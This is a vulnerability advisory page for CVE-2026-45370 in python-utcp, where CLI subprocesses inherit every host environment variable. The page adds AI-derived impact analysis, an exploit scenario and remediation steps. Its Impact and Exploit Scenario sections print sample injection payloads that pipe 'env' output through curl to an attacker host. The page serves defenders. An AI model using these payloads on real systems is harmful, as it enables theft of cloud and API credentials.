Skip to main content

python-utcp CVE-2026-45370

| EUVDEUVD-2026-30477 HIGH
Cleartext Storage of Sensitive Information in an Environment Variable (CWE-526)
2026-05-14 security-advisories@github.com GHSA-5v57-8rxj-3p2r
7.7
CVSS 3.1 · Vendor: github
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to LLM agent
  2. Delivery
    Invoke CLI tool with malicious args
  3. Exploit
    Command injection executes in subprocess
  4. Execution
    Full os.environ dumped
  5. Persist
    Secrets exfiltrated via HTTP
  6. Impact
    Cloud/API credentials stolen

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A02:2025 - Security Misconfiguration
ASVS 5.0
V13 - Configuration Environment variable protection
Exploitation Conditions

Exploitation requires authenticated access to python-utcp tool invocation endpoints (PR:L) and vulnerable version <= 1.1.1 deployed. Attack succeeds against default configurations when chained with CVE-2026-45369 command injection. Host process environment must contain secrets (standard practice in cloud deployments following twelve-factor methodology). No user interaction required (UI:N). Limiting factors: attacker needs low-privilege tool access (not unauthenticated public exposure), and must know or guess tool parameter names accepted by CLI commands. Changed Scope (S:C) indicates secrets from parent process (one trust boundary) leak to subprocess context under attacker control (different boundary). If environment variables are already empty or contain only non-sensitive data, confidentiality impact is reduced, but this contradicts typical deployment patterns for AI agent frameworks where API keys and cloud credentials are environment-configured.

Impact

Real-world risk is HIGH despite 7.7 CVSS. Attack vector is network-based requiring only low-privilege authentication (AV:N/AC:L/PR:L), matching typical LLM agent deployments where tool access is the primary privilege boundary. Changed Scope (S:C) and High Confidentiality impact (C:H) accurately reflect cross-context secret exfiltration. CRITICAL AMPLIFIER: GitHub advisory explicitly confirms this vulnerability chains with CVE-2026-45369 (command injection in _substitute_utcp_args), enabling single-request exploitation. Proof-of-concept demonstrates practical exploitation: injecting 'env | curl -d @- attacker.com' into tool arguments exfiltrates all secrets via HTTP POST. No EPSS score or CISA KEV data provided, but GitHub advisory includes working POC code, significantly lowering exploitation barrier. Typical victim environments (AI agent frameworks, LLM tool servers) store high-value secrets in environment variables per twelve-factor app pattern, making impact severe. Attack complexity is genuinely LOW - no race conditions, no cryptographic breaks, just malicious input to a tool parameter. Primary risk qualifier: requires existing tool invocation capability (PR:L), but this is the core use case for python-utcp deployments, not a limiting factor. Defenders should prioritize this over many higher-CVSS issues because exploitation is trivial for anyone with LLM tool access and secrets are immediately actionable (cloud infrastructure access, API billing).

Exploit ScenarioDerived

An AI agent exposes python-utcp CLI tools to authenticated LLM users. Attacker crafts tool invocation with parameter value 'x; env | curl -d @- https://attacker-server.com' exploiting CVE-2026-45369 command injection. The subprocess executes with full os.environ copy, dumping AWS_SECRET_ACCESS_KEY, OPENAI_API_KEY, and DATABASE_URL to attacker's HTTP endpoint. Attacker uses stolen AWS credentials to access S3 buckets or EC2 instances, LLM keys to rack up API charges, or database URLs to exfiltrate customer data. GitHub advisory provides working proof-of-concept requiring only tool invocation access.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 14, 2026

python-utcp CLI subprocess environment passes all process-level secrets to every tool call. When chained with CVE-2026-45369 command injection, remote authenticated attackers with low-privilege LLM tool access can exfiltrate AWS credentials, API keys, database URLs, and other environment variables in a single HTTP request. Patch available in version 1.1.2 (NVD references 1.1.3 as fixed version). GitHub security advisory confirms proof-of-concept demonstrating credential theft via env dump to attacker-controlled endpoint.

RemediationAI

Upgrade utcp-cli to version 1.1.2 or later (note: NVD references 1.1.3 as fixed version - verify with vendor advisory at https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-5v57-8rxj-3p2r which confirms 1.1.2 contains the fix). Patch replaces os.environ.copy() with explicit allowlist model: default inherits only PATH/HOME/LANG (Unix) or PATH/SYSTEMROOT (Windows). Use CliCallTemplate.inherit_env_vars=[] for strict mode preventing all host environment inheritance. If immediate upgrade impossible, remove all sensitive credentials from process environment before starting python-utcp (store secrets in files with restricted permissions, key management services, or vaults). Trade-off: environment-based configuration is common in containerized deployments, so file-based secrets require application refactoring. Audit all CliCallTemplate definitions to ensure env_vars field contains only non-sensitive values. Block or heavily restrict access to CLI tool invocation endpoints if secrets cannot be removed from environment. This compensating control reduces attack surface but limits python-utcp functionality. Deploy network egress filtering to prevent subprocess HTTP callbacks, though sophisticated attackers can use DNS exfiltration or other covert channels.

Affected VersionsENISA

python-utcp < 1.1.2

Affected Packages

pypi utcp-cli fix: 1.1.2
euvd python_utcp fix: 1.1.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in pypi, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

python-utcp implements the Universal Tool Calling Protocol for AI agents to invoke CLI tools. The vulnerable _prepare_environment() function in cli_communication_protocol.py unconditionally copies os.environ to subprocess execution environments. This violates CWE-526 (Cleartext Storage of Sensitive Information in Environmental Variables) by exposing secrets like AWS_SECRET_ACCESS_KEY, OPENAI_API_KEY, DATABASE_URL, and ANTHROPIC_API_KEY to every subprocess. Unix process inheritance model normally restricts environment visibility, but this implementation actively propagates the full parent environment. The CVSS Changed Scope (S:C) reflects that secrets from the host process (one security authority) leak into attacker-controlled subprocess contexts (different authority). Python's os.environ.copy() returns a mutable dictionary, so this isn't a reference issue but deliberate full replication. The fix introduces an explicit allowlist model (PATH, HOME, LANG on Unix; PATH, SYSTEMROOT on Windows) with opt-in inheritance via CliCallTemplate.inherit_env_vars, shifting from implicit-unsafe to explicit-safe design.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (github) PRIMARY 7.7 HIGH
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Primary rating from Vendor (github) · only source for this CVE.

CVSS VectorVendor: github

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

2
Patch available
May 14, 2026 - 22:02 EUVD
CVE Published
May 14, 2026 - 21:16 nvd
HIGH 7.7

DescriptionCVE.org

python-utcp is the python implementation of UTCP. Prior to 1.1.3, _prepare_environment() in cli_communication_protocol.py passes a full copy of os.environ to every CLI subprocess. When combined with CVE-2026-45369, an attacker can exfiltrate all process-level secrets in a single tool call. This vulnerability is fixed in 1.1.3.

Executive ViewAI

Why It Matters

CVE-2026-45370 in python-utcp allows authenticated attackers to exfiltrate sensitive credentials (AWS keys, API tokens, database URLs) from process environment variables through a subprocess flaw. Organizations using python-utcp in LLM tool environments face immediate risk of credential compromise and lateral movement, requiring urgent patching to prevent unauthorized access to backend systems and data.

Business Impact: High
Compensating Controls

Vendor-released patch: version 1.1.2 (NVD references 1.1.3 as fixed version). Apply vendor patch immediately. Interim mitigations pending patch deployment: restrict LLM tool access to accounts with no sensitive credentials in process environment; use credential injection mechanisms (AWS IAM roles, secret management services) instead of environment variables for sensitive data; implement network egress controls to block exfiltration to external endpoints.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Social Media
2
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

58
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy